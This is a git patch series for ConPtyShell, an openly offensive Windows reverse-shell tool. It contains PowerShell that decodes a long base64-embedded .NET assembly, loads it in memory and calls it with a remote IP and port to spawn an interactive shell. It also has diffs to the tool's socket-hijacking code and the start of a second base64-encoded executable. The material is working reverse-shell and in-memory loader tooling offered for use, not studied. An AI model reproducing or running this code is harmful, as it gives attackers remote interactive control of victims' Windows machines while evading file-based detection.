AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" $ConPtyShellBytes = [System.Convert]::FromBase64String($ConPtyShellBase64) [Reflection.Assembly]::Load($ConPtyShellBytes) | Out-Null $output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell) From 0dd0d4d9146d0f267f16d015ab30ae570fbecc29 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Tue, 2 Mar 2021 16:35:20 +0100 Subject: [PATCH 3/5] fixed a bug in checking socket inheritance --- ConPtyShell.cs | 4 +++- Invoke-ConPtyShell.ps1 | 5 +++-- Invoke-ConPtyShell2.ps1 | 2 +- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 16dab1d..0d6c05b 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -340,7 +340,7 @@ public static IntPtr GetSocketTargetProcess(Process targetProcess) CloseHandle(parentSocketHandle); return false; } - if(getpeername(socketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){ + if(getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){ Console.WriteLine("getpeername sockaddrParentProcess failed with wsalasterror " + WSAGetLastError().ToString()); CloseHandle(parentSocketHandle); return false; @@ -375,6 +375,7 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) Console.WriteLine("WSASocket failed with error " + WSAGetLastError().ToString()); return dupSocketHandle; } + //Console.WriteLine("WSASocket success handlex 0x" + dupSocketHandle.ToString("X4")); } return dupSocketHandle; } @@ -1080,6 +1081,7 @@ private static void DisplayHelp() uint rows = ParseRows(args); uint cols = ParseCols(args); string commandLine = ParseCommandLine(args); + upgradeShell = true; output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); } return output; diff --git a/Invoke-ConPtyShell.ps1 b/Invoke-ConPtyShell.ps1 index 18c0a93..32a6a5d 100644 --- a/Invoke-ConPtyShell.ps1 +++ b/Invoke-ConPtyShell.ps1 @@ -458,7 +458,7 @@ public static class SocketHijacking{ CloseHandle(parentSocketHandle); return false; } - if(getpeername(socketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){ + if(getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){ Console.WriteLine("getpeername sockaddrParentProcess failed with wsalasterror " + WSAGetLastError().ToString()); CloseHandle(parentSocketHandle); return false; @@ -493,6 +493,7 @@ public static class SocketHijacking{ Console.WriteLine("WSASocket failed with error " + WSAGetLastError().ToString()); return dupSocketHandle; } + //Console.WriteLine("WSASocket success handlex 0x" + dupSocketHandle.ToString("X4")); } return dupSocketHandle; } @@ -1149,6 +1150,7 @@ public static class ConPtyShellMainClass{ uint rows = ParseRows(args); uint cols = ParseCols(args); string commandLine = ParseCommandLine(args); + upgradeShell = true; output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); } return output; @@ -1162,5 +1164,4 @@ class MainClass{ Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args)); } } - "@; \ No newline at end of file diff --git a/Invoke-ConPtyShell2.ps1 b/Invoke-ConPtyShell2.ps1 index 1ac7d8c..bd9fbf0 100644 --- a/Invoke-ConPtyShell2.ps1 +++ b/Invoke-ConPtyShell2.ps1 @@ -111,7 +111,7 @@ function Invoke-ConPtyShell2 } $parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine) - $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABSePWAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOB/AAAAAAAASAAAAAIABQDwMQAAwE0AAAEAAABcAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoAwAACipKAnIBAABwAygEAAAKKAUAAAoqXgJ7AwAABBcWKBkAAAYmAhZ9AgAABBYqABMwBgBOAAAAAQAAEQIXfQIAAAQCA30DAAAEAv4GBgAABnMJAAAG